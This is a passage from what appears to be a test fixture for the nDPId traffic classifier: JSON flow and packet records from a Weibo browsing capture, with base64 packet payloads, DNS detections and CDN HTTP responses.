6vHDNpepZW5A6ZQbxRIrEcsV2GQvNC6PG0+ncrj1QpxKcZ5bxH\/p0nuMn5+Z6bQqdzUlzOfRUwPUOs+UszchpRhXyi1clzqw6E6iSJQ4WXffvvv\/\/C7f1Yamj+9rELI3kmF2S638pnvWYQh\/6rRVUPBsdWuHWEPEBLAyIh8zgsIFecJuUuMepsoujy41qtEma+UlWCe8j8PhAMlsQOjtu2Cm4\/lqeKGNzgEfFDYf2P1NxqKbHKX1Idz1Zrl9+dU8srPA\/X34mrJoDvIKQD7l4ke6+7N1H5DqF3GP2KheIT3\/RiJD123zfphCDmBLekGltXp1JzMmGmDy5ZtktB80+WlS2JgqksPBa7NZPtmvAa1AYG1iFDVN9W2vOxaa+pZzVez1Uyy0\/qpWn9gdXlrnPebxDNgahbAutRYzBD0SmySlrtyVe0SNvCHAXoKGka1B9K3pjjsmYbY3J0ManOZWNDSq8pasCD5BhlZUFbNbiOI8sPyXJWn9dMyuEMI6KC6WmJZS+EkcdccU0DmZCuy3A9nemu3r85nLW4IkKqi1tgXQFUl5woFBM4bn7U1anyGIuScXjIygOWmXLHhuLSMUSRmgsBKJXHpwyolyHbO+JZtN+q2QgI8TcZmlIzxKQJLvnSNUpEKasn0yy+5oX4pV4Pk6qwOE+FnZYW4tFhfGOcaQa0NicKuZN9WTE86nuvzw6cn1kexXRRGW75MKPMQ\/3kPvCYf+bDoWc8XbkLYi9doKsgyTEI7GzWwmP3EiN3ajRZkTJcbxAt6CngNcMCH6pM2Ck0B3GkQDKarGGzor5VSzmtMNbVcs1JsQgCdhHPvEvzWGGRjj9HFJPTtgoEJbyZrHsAR+JQTv1dGR2nrdqc3\/PZ55TxvroSI0X0Zz7H4ECyL+iZLUCOEGjVsLVUYUqaqT5b1HCBrElNHNUr9ehuzdkvjIEQ\/yUa5kUGie1KT42ZkOT\/D4u6N24yFU3hw3tmPud+I29Nk1Bzb5ao92F1aYmTeSbsYhBo9pMZc1W8+u4NvPkQAC5Skiu6DthC0XFvvmnMVbMcXvddkSW0bjCgeZgu5rPqMh+383aix5fhyRCJ3ESTW+qk8PFbKt0QChiVCzqkIaI3UqWnZtivWBC55xcqQS4gC7n9D4RchPasPvuvNcn851+s+GOuyDs6Fg\/O0YxTMkrmp2z7N8nIdTRY3NMnksBjTvk3r8h0oECxLosCYvk\/LrNgr9VlMkz5N+vNpJlTz+ASjsef8uOs1DR7rbdfoiknRk5nZkrvu1a4u+0rMfDnumrLXyMqSL26W2w\/oZviXPoKfiV7uuLin2zhfVuK334b+YlAXRiCaDZXW6QPR6mhAGdTq4hRb0aeElOsh5GLDEdxF+ij\/sOSxGHY\/QbQpjFUBugW\/rSPfNvDb1Y028pSgxO4hrnRkkjUXJ\/Nq7\/qVEhFyGmSGpN4\/hhmCf+2lcSDxsW9OsGNOiMV44hhi5BugZidKz7Ymax3CIhVP8F71O3ObV6u9u9gneLXnJRMdJYaZP3ch6kn+qTmwxreXnTPPJwQjD52taZKnLtjloZHd0Zq2o5CIqZ94lMAauKUEIoQySArxcbZabiEsniaIoS1XRtGWHjV\/x+N2DJvArKfPgmRMzn+slpddEuBbz4lqNqDE3hUPPdjrirH3NzI4SoVGjW2z9wPqgxjvANYykiSRwSbIeIrMThhfgCrogQmrpnDYfQAYyKb1JOet6bmT85V8aZ6m7twSqFEWBc8cEUKjW3Gm6OoBUCFLOkZNWNJw7fXlxA3BiAI96iwFcRzvB2kieKc8CMjQRnIP2NSIPc0w83jIYEugYCO9ArwFu6hGNZ+H2JSWUlzsGqyOp7I+P5Vc7MKxVkONiwgLn4DkSivp0XDepl4bGoBmDEaAc3O6Pza1jppyCiu9wBB1CuzC8jERPkdlMBM7TjZNknqAHqt9SLfQFq3EBOVge+8sZBWOiI0U20tSTwaqddUiuGwdjNkLjvMStbwpz0\/VJlF\/STesfEDinPSPSJMRCHukvgvZSHx2ceWoqTHQ9vCh3nqAgu4wLE+dnYJ9e6VOKRtTZ7dOsFup6dbE69bK7daK6BYcHfzXKyB+03CtYL+GsfHauR3bhceL6F\/P8Xqlbu3o4Rp7vWoPTVJfw7PaakB8D0QMIuoqab\/0kX1WuhNfR47JSITTtZ\/b5Io8REp2OYV\/4lZAJgarjwPqw4EtpgMafHj70jaPOnSVu+CI0OQlfCl+Mx1ehLGyqkJcq8U4AgtWOzRKqhsprz2FjlNy32yW0rV49SJJ5oQD1xHQie+eVoOk\/DLiBBxlRo4tCDIgDStpduimoMkOHznoUtLTNe0vLchpYhZ72TW1lN7uv9UAAp6yQajE5ag8aUHX3FS75qTL9rFhv70gtKVfXRn0RWidUHKFJ0wHk2Rp9oD2WZMUxsUiPVeA0BuTCRg8ofs4e0a1UaGPJjgaStLwUEzG6+loCjoX1C9wNLpCT6jacNuEvCup529hyhU\/q+GxBTxoqFFR7KDRzACSWg80ypc8\/qDqqyCUUhe\/InvOtDtk0QSc0SDGcxhbHG+nZ2xkFNS4T1zxbDqPoTzugfLYRBwvt2yTccV7id5Mn004VxKxeA8aclJ6uwTZiQKKqsJjnyK0Mfe8zmIJFXMObYHG8+1kbdHQbDRQL\/SyYHYZ+KAFZFMk+U3Uk6Sb7Lr01gm6SrzdcpwKGHGBsvivZ8A\/DwBzBkvS8wXBpTeEinbHfkbDEdNwLGJn0X6lnjVZlgwZV1xDjgRSzJVJxlEZD7vNZyISr2+H6PI3FEVdIyYSFYCBqhjuFvOIk+LQ3g+FfPBMWWRFJ1\/AN+U3vKAzB3AUpoHDXrGqfzHcIdBxohVhWP3zmzcg5hjlAWDLmNstbKgSBd4sRSYBEUs0FP6YJ1a+Og2S+xMPVw1BZ1U7a4ab7rvsBEdNx5xIeW61mPS1o9Yjg\/01Ees0Y9werU6xjiPE6emUB6ZToHKfKRWdg6tABVf2yVHkqxGQfDhc3sU6On7j4ibpRxbvX5KmSXntFoFQzRlK76MHS8wk6WXU4d\/\/9YIqiCMptZQG94YKC6fEV5gCL5FlXW32EGp9EZJaqgwIX34hN3DKFawUSxjiJrK\/EGHshCfHNJGMVuWJbEcJxsQoZt8BDbZfQ4TxOOgRO1eHzfJ8Wa+P9TpxOZ9wUgo6iDlAIAoPuaPjDcOcdihRx4MRRiNhu6HtESheVZ5RE1l0ZCyn8KO+FweanYPcYdc4blpGebCnHwbUFxFc\/kPYsLSqH+U4DOxP6Ri2j+vy8LHkca5qxHjegqe2Pd6\/f89KjtrRuT6UfzyP1of37fS9MJ842QwYLO4suRsk+qjCmXV+p1sGD7Jt+OLrWxfQnPY5X0iAVwU3uR0wI7Ow80HYzyOhQ78KbG4qRLAjgdyv2qFlXf2afXLBP3973C3Vss4jln78UB8G336cLvHr8wd+NsZ1HT+HjzgFN+1SPNAbdrM\/UtYDDF1POI2NBqAlr9+WdOxddm19fGpaHlwu\/l6KvXZIlFkrp0QGmTPlgyumzKGtNNak+nkl1AXap09CWWbqYdBRhscVhnoQg59rPKnFRy\/7AOAYnP5QZn8uU2XAdVdDDMkQyD44Zld0gA6cn8t71c\/5aic2HemD5SdjNo3CGHfTKUfHkeYvpNMY0skH2QdHh05yLdTdHPcCgUh1G7U1iPFXULv4c1G7eDm1i06u7NfH3NT3iBQndEER2sWh6AWiiI7VuOtgUwf0mOzCA4BOweTaXMyUmn8qv1wJme0dljXHsUnJbYGx1WX\/uJSnQz0OMy4VtK+b62wCGgSP24PNQejndSuD\/x0dumdjhfAB6DDTk4misYyh1OzCOkjEb2iPTlOUYtE7deNr29t6x\/66L3fHp\/Kt8oz8\/YRtFa0zZ0J3UzvX\/IggEibbHligGQ3S2j7eYRq6UdwiP+UPmkvA+VdDbNm9RJiaoGkd1UwspxkPZjJRDvNgWTjUkh0nKDJYZbOxkZmF41HvEXWZBOLILHy2f2z38sQzDrGUUVXmgKh65xyrdkC1S8YqH7yoWb3PQsF5CssJ2JYmchYbEk7l4e+ECD71m+Y6K6WvIdg4+E60hkIiCH+3H+UYbNsPA1O2eir61EbFlptlu8\/TbLL8mPdw4YoDmfMJdOBa\/2360OW+TfQ+ewrXrPFiTKGT1DLjUqROckOODAOaclv2cyNGwIyNl5CtC+tLu3xS4dP6+SN\/ToJGGWuM4L8co5m1gL0dss8D\/j8qu0WgXNNdZH\/uLNP1PbzYSoccossbjzCGLueWrZJrSRW5GxdkUTtBB5BmDv4Vrqco0cR3jpVrCb\/oAFmbIwHiZSSg2wAEgVOX2QYkyCX8FMmweDlfyt3ui5+otEaSBUs1sGyIrfR9LGekyBV5PIikmdkkzdJJlvKckSLR5\/J2UI\/1lgQFIJ2qY1VyY5b6ZWdsc9h9uSVdXW4ybvo1+Wx5QbUmWOl9Fq4WbIgnliiPx+Wu+ljtBvAhEcHkaiBvpvPwc65HTWX4ZNInHbuklscIpjmPOxvnQuonbL7sS37MZFvJvxlKJ7Ysmx9s5bC\/NxU\/zMSaZIrBZSV\/fdyVmy\/yZ8vNZOpn2azKRv4u69PKfHhsDo9favg7hw9j+FDAh4l82PPMsCf4m4eiwecMPuTwYQwfCviAgE8Ho\/OlPj81l2NZ8wzFg9EvAoUPJX+6\/o1MNDzyNpUEtPlzpc7VDKTm5Z0UsknoudtjJGFSSqtM9qhapQsMcxl028mMBuvCxRophuRx2CH51u2Hai3UlaEyRFkEgyVnqE8K\/UDZTO3JiKlmujyOdnlMjVyvHus2w8ip0QEohUpObDd+XeFgdcBfkSqiC3RnxegKxrYdjJUcAhoqEkSLQ5rLLseLA8IrQsbLz1zw4zj2qQu\/iJf30J90UMfC"} +00424{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":885727,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0AXxAAEAGkoTAqAFpXbyG9ovbAFCLegoURn5CKIAQAUcMtgAAAQEICgBBCYYDdgpf"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":175,"source":"weibo.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1463089072885,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":41352,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":885992,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8J\/lAAEARjv3AqAFpwKgBAaGIADUAKAcnK+gBAAABAAAAAAAAAmpzAXQGc2luYWpzAmNuAAABAAE="} +00643{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":175,"source":"weibo.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1463089072885,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":41352,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"js.t.sinajs.cn","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +02385{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":901158,"pkt_caplen":1502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1502,"pkt_l4_len":1468,"pkt":"eJKcD6iOkDVu60UQCABFAAXQIPxAADgGdWhdvIb2wKgBaQBQi9tGfkIoi3oKFIAQAqSdtgAAAQEICgN2Cl8AQQkfpyV+eObDWiH5AvsLYIakUepi8\/VrzDXEr6gZEiPBO4bXFA6RkpDXFJKx0h7pi1hpj5CTWOnMo+Q0WlxhjpfjsASkWSpHUwIt5UGpEYVk+3yA3HlwFZID+7WpkzCrvmhNQnaQsYtJD44\/3MbyshexYRrDwnCCHNAMOaApckBz5IAmycFqYhAmIKyC670Ze28K783EezMFb1zVT2bluBz4jj4JztqXDGR0HHtM\/cNtc\/9w2+Q\/3Db7DzdO\/8Mt899lgmiH\/TbyKKcTFOpsw69TRNvwyTrpbMOvM422AcfCFZg95CLkc5uVuUMUokZ5OgR+YGQ7AM\/bU10dNmf4SpxZ8l4sP+bw3fGy2lnfL55wU6LNQB+FnRvzEUQrXgtSxiIar+MRRHcuUE1MCaotRYBIW4jTt\/zo2alem43c2F9tKFiqaStTDCB+Zs7JClurFClWl5ePK\/v7jxcTC+w7vTCAEEUUJWXvSn26oFfVmS9mBH4dTUn28JsK1vOUctP3aDsTukvhep42f+Dpab58rDdVE46LCMzY1OcaA0wfCaJrekq\/rKnSPr0OGgLYzWjwjVPTHMJyIrrLgJP1VG22u9LYi4sMQloEIamhFZDgeSx8ZC90AsfLNCHJwQ\/AVxueQY8yyozDyCja6iPLCBo6wonbGTjPOiMafru+GR1fBfnIb9D7Ym0a5s1H\/MhNC\/gNt5e474TxIXaKcw75QUU+uHjQIrbAmpbGMsCaha89gY7EKyFphTrbUY9oLWyN0bXQ7Fnvynpf8ZaiR2HRPitzqndVnrm84rUdY2U4Q3VzMV5DSpAOsVMzmnOt9p2E93gZsbgqSFHppOshjMsd0zJ4BDTUpzQxwsqVAgUH+PxpKZxqkc1kDJQj6Y6s6PW2XXQG5Ta53XnRbuepOjUvxETIldfDZP1UHR6DG7w4KrPXReWpuR0TqJC\/HiYiEQGb2wP7uNmBh3r\/6Hxmb4RGYcweCQqKVE\/PHojQop8i7RRUQIsUfK+viAvou7nSdx0clE4VqJOG61B4yA8vQCRMCY2EWi\/cSh4W\/UkRgMg3m\/y6580g8N6LjYKgxwhZnAACDuYmoMvb7k5c5DY7r7PsVc+uEtCojoK3vbo56eimIJwR3gnaG6knkv3HcCnwRugcwW049kzph+Xhsufif2CfvlRMgf4EXjyeyi+B9GU6\/mhiF1L54N49BRMLEOFROBmzzOiE33GgOMBchmKhmwvFNc2GKLYzCbrEQ8frYQo4ZTbbcTWuYBlBBlRmuphWs7nR0bdL6T7VT44b1d+IkBmz\/LSBEHrcZoB2hRaB2PLgVDH+VeeF8LO674zzX7wFGjx7Qp5JfBkBiKtHhwWcS1MKNx3K+I4m2TNCIWaMSf2eRm03cJ+CaBGtRZM04t4dgh3js0vBmGkJGTYt793sv\/8K03SHUx\/iE\/fsi5KY\/Tzee4Gj\/6v8u4c4l6R4rPt7\/InOdLv9D2iP\/Ody\/B96e\/4P\/V3\/B2QvBM7\/A\/L+H5bQNadefVodeD\/BGxAjcEBBAgcUJXBAYQKHP2ecwKF3oMDhtkiBw62hApikcTcAZFZA9Q6zNax1W1zC4dbAhMOtkQmHW0MTDrfGJhzEIevdSrs3+NOqaT6AR2Qj9bWCLq67gekUKlHcXdQ5stEKaJWy3YmNGByA6jP7fDnF1KLYgowNme1TzbbFgcy6VgNNH5BqiY6H8Jh9EKRrYvlTb7bbvN+gcZAlvm2O4noE4qu+OYGuuK13++BHyTyxJs1lFaGGYwVU8x1FOBJqY2EJJGLoYnp+nFJYla4mi6IIEVeyGCo\/m8yL1SbcBO8UrrHKZ5sygpRgfNxGtprOc1tDxuUanVYY6\/pc8NMZh33\/bVnwP65WPLf7AXg5lZsvUqhjZeKi+Y5IhgAKyBvSHHcDdFfIT+IgSd0="} +00424{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":901207,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0AX1AAEAGkoPAqAFpXbyG9ovbAFCLegoURn5HxIAQAV0HAAAAAQEICgBBCYoDdgpf"} +06256{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":907721,"pkt_caplen":4374,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":4374,"pkt_l4_len":4340,"pkt":"eJKcD6iOkDVu60UQCABFABEIIP1AADgGai9dvIb2wKgBaQBQi9tGfkfEi3oKFIAQAqS3vgAAAQEICgN2Cl8AQQkfsg6teVQ9vvI7HfFbyDHgkf25XOd4923Arwp9eXyg4piuWM2qjooFXXFTbLJZtOKErLiZ8jvzZEV+HQOXN\/R4hsQZgNkduquaMIHARVrkWZYWs1k+4+G7LwL2WG9ZXbYsgNoq9jcBUfYBeadj7MsDgy5ksYKbjOZnwf\/liUneLc8uXclTKH7RlCzb9C3Zs1j8qs\/051TledMD+RXUlDmr1Lv7Q9O+fScyr9wlL4MaGvA+6as0TV65ZcDy\/ARglO3H0I0hHl6CC2\/mVVlfANSR8A7A\/54P7nwQo\/zaZEYThRf8+skSZZMbJgyH82tg8PwbzSMfqi\/iPCIbGiVy3qTfEVn75BVfb9NN9ciTVfFjX+FS46kqx9rh3BVoBB8HxC0kiWqDLAQbaELgmy70iQIAMA01DjICb1N\/pBZo5HeWR+vQ0T2ggsl4JgRHqUigUP\/1wQoSnqIJa232atngFb\/ygdYbTUDfeq1NIuXpoM0nZ73VPFUbkahpYIv\/CMr\/aCv86NT4sTPGTuWGMsD07z9dqjMXSz84EH8wIWiwk0WOIUJMAxtK6fxIn71+iy5FK8lt6LNLJt7\/gLfEWnOfSZJaekWbBQAE3UJYSjPQs0PJqCcHgBbDEAWNCGBHJlpDNiD3SFtxYZr8LVhfPwjXpn5oazapq8NGP59bxrSmZNOaWudPasMsH2Vwo37aNYfHT6uBSTIuFmL9yPZ2BoraWaubEiu2WfqAsg2nwKUCblZyU3gH9\/q261cby1UW6QQE7ZFlFnzb8AzJZT7Oi3Wa5h4AXGiWl2PeCqSx\/TieVQsfBVyoYHuX2dpA0ANjgaxX040PxCtXrBebdWbgiAG1HZ2tJ9nUA+IUSlcrQA3OBZBS82LjdwWWqTazcQ4wkJxjPk\/K+boicHCKFZPZYjM3UHQ4sb6iPN2kWeEBcUqV+TpPZwaGZFOLyLTcbnxEnFLjybxa2ZFVzA0IMs\/5jhNnZBCi0oHr15xOAZn5NLGo5aui8smMyuTVYgsIpAx76uN6MluvUw8ALlRuJ6tyYyDo+WhuIJjPJqUHIlBKuY7qbUkvR+NeHlTgqvpU1asmFj0tD630dtcKQw+\/tse\/pl61+KW5bMrmIFg5ajPvaBgHgfLfcXgqNqAL3rktT6vytCxvvgpj3jMua4JDJnWDYuWhLgKkFbfbWpMWbSdRldvjBD\/zv89uDlDUYLRF6C\/QIFfx26Vu7NOMauF1O4Gs9BrmOt6LCU4H29WLjCLU+pZupN3d0HkAw3kVotGpyXQB++TG4fx1HOSPc2vq7T0SfashphMd4DQh3IP87mPts31qWhMn3uwbXitAceeO+\/CF9qRYT\/wd8pmH175NR\/PJHcyd5e+1oBgUuKNt3rez2SqttqYE6xH+zlRANhhAMOt+wkKTzXpSToHDoXwM0AEHPlmqOHH03E2ymrFtRfhYgdw3Po\/+7R\/\/iTe6PPL7mGj\/mAk1S63TEaR\/An4e6WWYOt4dHFFVlXm68LxBTsCWn9GKihw2ujfvwKbacR2OpFugYr8pJjJi8xkmc2ODbClFusjmWZbN07RzooHwJhTdtFReG7n8LUOZkkEPI454cFhbFo7F+KHAJcV526raHOvDAD4Lno6yo+RG7G0K3NxCTK53vmdsiV7B+9bgNO9z+SrqFpp0VZlusy0uw7uKZ6\/QsF042oHmksnecEmTS2aJg0ni4hHacO7CKxPFFWDJkDoFrjImu\/jCJ3kBV+AcQiZ4Ql+P7vQOPqlrvGJgJpkBs39cisxbZ4brOWB1Q9domouxLVeZXKZp9LpMK4mXq8tqBaLbYGhh5FBWShz7ZIJgswT5hKkwxcjBDr0CKoJ+qZj2og\/\/++9kiorowRhwB5hkIX9a+Q5aMy8SeLutuNy2+4anHLEEwBavd9U8K7KU7KrsFiw8Z9vxxRgGQB42p6Y2AXtzqDRGAp318SQnnLJuzuogxGR+GyCosGwatrGvsuzWfA8zkN7gpt3ntml250355dbTOll+e4vhhHFCjnnZ4nj0eDlQP1b6x1r\/2IAbKjNhf5WXDhB3AwciHXye06NWOCqBjKpAi0duwyq8q\/jcKWC9W8ErzppLy6GbOw9l720AjKABflzjRx3\/T19hLV0IAgqVWF615y5ITOswkpCLWZnZ+dvtbLYeb9C0d2+P5KVzN1Q6Zwqw0zfc4mw6yzZki+l0kY9tZX3oYeC+oKBu1+liSynyqIXVarOoULg3ulfRnpUwZOx1r2YvwmR3OsZlPB4\/0Ksyvjdzs+B\/LDbk5Zpr8Q\/qk8Eh83DgF5YaeC6BVw6BjdU45X9uIJuGg27nI1oAWWADoGy0YgqyMMt0AlY0hPRBWQ7zhA30Dw3U+A5leFZHNuCmQzgvpct7+MhlC5vgb9vmONAHPJL0O\/57MtlmXGLxhKNoN6X3j10wYiCar6q9P39NdaKqym0eg\/CMhZqzsS1meV71JrMorcicTubp7AVkNjBiIIJk7lU7TOY+1eNkDkF4Novnrzp3cl\/AjHI8ddQppZ5jKkvLMZ0W08VsfPuYWhgxEKEx7Vc7OKa9qkfHNAjh2VEA0NSZbKfj6aYvmWVpSebJeDKfZreT2cKIgQiRuV\/tIJl7VY+SOQjhecSJzBV62u4DN2hIUcx83THFWqFK+MDh81PHcfhzF\/7Chz+3jhZxT3HipuyXbXX1ZeyaxsZjr60xjreG4Isu8K6ajS7A5mr9hMRdsvu+OVVXEEMDQsiAoVDah1wfWXO0qqQyNdgtslBG0Nur70tztzySMM5bMfIBM5sxxmX6CKDBx4T6AGxAGJEJvZYWUFt1TVTdUFV5Zlyv9so4cDeb9lMzsECp1xv6NQRCQaCqe3UFlb3a6O2GfGtb926IdzChv286votx+Mg5dgBJjt5szJsrNpTQN+4hxqKMbOB8x5+pi\/D75RiD7nzdkF+vhl+HY3swgOAX4GvnSiK6ghvMDbRpWHtvNnDjYDSUhIC2BiOF903bcrGalkj9eXb7uK8Ol6srm9zBy3xJwXrPj0KZqE8CqFODCdif0TRdlwfpG\/Ku3AjcuCF3olqwqkstXBvNBA8L9O1b64v3YW2EyljpfVymuF3w33AbEc8R6orMFKxNOBTDFwjo9cZ97UJRKHtgnPcb5\/21c4YOSTGPDMfas+fiJEPSHITgyw18SaDixpR5Z0HHaLVPRn5vdT9NWJNw5gUmjDmXZM6OISz1hyimZNiKzNbuU+hlixEBpe9q5B0+6r0w04JbL\/OFWnLV30af5NPGB9y5lMcbW6jGFrYxcpG\/Yn8YL4rcYTkUCv2I3wVyXITEfxcuVrPM8dBe4d22gtnegRe+7BHRUdjttwgxX2+2edfdSTEbrhSBPYl3qwbUp3lnxb+B3ogmr6t3YHKMIb\/hVdFdKPjU9GQuqM0zk4jVFGYZBXsEy9blaSPv20KX3YC7l8aZWIGt4o3u11IeaM8A6h50DCh20BkgvLUuXnzWc5TWl8jNywZX6Xhc6tueCEkLNz+wDaUz+ftUzCdzz2dOrjyhVpS+FXfxA\/+RkZsq7qRXMzwm4Xysulzk79TuOwPNga3RUN0jJ86Tn6+U18Y5eZoM09GYnz1lNMNf5B3YD+8+Md0MHlQtxry0gHxiK3x14u+bY1vv2frDulAxtY1waCXvYIIhmV\/IYMqWdBGyTaOQIBT0SwcDOQUsh\/NBx9vOB48DSBr7NAtvbzTyp+rjwD7yW5RtZvoUxrS4p+bFC+vCN259B3hiNGchOoHqjF5D1RmpM6K379Arqfx7r35Gbaue0Fp7SGlHeZdgw\/JmWdiueYOb5X\/5wvdKeIRRFW1MpNyJTlGZlN57ZTxF2H3jeI4ArF19bqlLRqPCQvph3Ymo+dpdNYYT3FPeJPs\/j7USy8US42BDgN\/ZpUNKVXVdq8wSKC8olcHfS\/mgz3h8tkY5KZqNc11GjWqLwPCLnHXm+bO5bBLiizFNLjsmsJPySpz4f6dnwoxvzLQme16fmt3u\/l7bcOXzqjwl1zc61JQVfaNj4aZd9YarCyPE4V4TmsExkX3Gmd27Nr8z79SykV6zbRwTGIObKjP5xdhMVb0RkfZUrj\/AXnheWHlZ4LFkYrLtA2x4rKt19bWQni77VRytb8uyfHijPNo58Ghvt\/q1tjOrLXqOLI5a4PLfXEYFb+jzc6OFEqhTjvDERcVJPZ2HIiM+EncIK7Q964+QsVaZAVu5OdANnVKiUX7150HntrMtgJyLtq556RqOqoL\/ofbOCBYO3EAQA0IzAoakQaiM3eULTINuetROvIUgbA2LRxgTRzmA+8NNa5UF9Ymgk8XXVIVa50bieCFDMoEjHbsAU5SojghlXCyibOCDV6DqEx7DPAPs5FZP6kHoS7V3o0vSCKAlD4tPtJ01kR3jqc0WfiXI8mieoXJSW6g2dYsDw0L2QlBJ3cSsaoFcMUovGuqJKI7CJxbAYCTeLJtLKxnW8I4aDo6ztcbw66wDkkpvJl0mkWu1ZgHho6aSPh7xLd75mv+Br4RXe1YM5L\/paHr34Nn1Aywk0FYnuIH\/HH1WU5YXGqBqXA2QxjrXRhmIQ0MWPQeH2gFB2UiAdXEGLWGmE4JRUSqgCWULHS682irt1mHHKlcD4tNBsDf1helU9f6y9y79ACXFNSZRAeJ4GgNh35APFlv+x+MDHRnEo6f8kEF4NAGfDNGHzHa7ZDTWSTLAdcn098gnlwBENEAirqQHSJVpWnoVeWgbeWn8mPdRXxqfsK3uxDpj2eKRdGzr86klMoy8U6FsPvW9SRWwoDhz7dXORb3esai\/7auCNQOgCP1f+0bgZ8R6QqJ2GcdmObSNeQG\/eEc890MREiQnUPAoOBwmqkv5axhY7+SEmLZvq92uPp7rM4pZTrSNx482fucLGMo4ZENJeTRp4hOKCDAd8z\/EmcJItBCPmeV\/VKRdzv\/w7NfsoZrxP37sjQGq2N4AlA0MhNqUCOjil47KEViy3URzfCti2kS7d+j9RHwQSOAPHImBwuguik1nL2Enu\/sYCHF6OcBQ1NOLIcYCoXoChcwVDUAf6VLLWGpOnUY+hfquuE9lAB\/C+e7wNhSr+zi54TRdrbepu+rLMA1\/Y0ooaxYTlDMx3cy2U1wInuGCNa2BGp7WAof0xjpGJ3x2gsHzj060TKx4jkxvJ62pw1uaKdck8h9IM3C33VtZ2yjL8rPCZsT\/J9LBXH3xybaLs+0cR1bPmbJVOWeN4EgA86GFr\/PHEG1st9V47bSx3ebVtH8bUv90Ge\/BD8jyIgS4YdAzReq9oQTd+oYXnBKWL0iUr8hUB9s7pJJnVFSdrak2bKqKiuCQfADdqEPptpeMKrZyAIaOUWgvx6sbEvPO96f\/wHOtCh41Zv3vLIYi+W2KJysbqkWF3wntO59MBnkxH+Q534jN5fkSA35Z7ct6dyUAiVIi1VcC0TFOoKk8TzR18GV0VpDrw6E6AbcEyOjDSCxPRlJ57qynLk0Z9Lvk2g1+JmI4nzEibKx39rqm1EOUf7fyBTHEYu6VprgGHRlWLwuhAC1\/aZr9fUbISQ8q8PkZSJmPrSjZXj2TDlFqpW0DKwhyZqMZ3QrCJ9hhKxDIv6GSoXXlWeN2w8\/v62p5OW7KtuLaLEq0Fog9JZEc1RUy8Dq3FgQqbbehSubANV1x\/XRq9sEWhwRTgcrnkgnUaRqsPYs2fW4uj02wrk76Eai8KuvNJVyZ6DSaVolZIPV0X0iBY12HSIiwRYUQIQnJDazMp\/bp\/eqR"} +00424{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":907760,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0AX5AAEAGkoLAqAFpXbyG9ovbAFCLegoURn5YmIAQAaD15gAAAQEICgBBCYwDdgpf"} +01112{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":940144,"pkt_caplen":577,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":577,"pkt_l4_len":543,"pkt":"eJKcD6iOkDVu60UQCABFAAIznCBAADgG\/eBdvIb2wKgBaQBQi90SpJVY19aVAYAYAqSCIAAAAQEICgN2CpUAQQkfSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDEyIE1heSAyMDE2IDIxOjM3OjUyIEdNVA0KU2VydmVyOiBQV1MvOC4xLjM2DQpYLVB4OiBtcyBoMC1zNjUucDEtbXhwICggaDAtczQ3LnAxLW14cCksIG1zIGgwLXM0Ny5wMS1teHAgKCBoMC1zMTQ5OS5wMjEtbnJ0KSwgaHQgaDAtczE0OTkucDIxLW5ydC5jZG5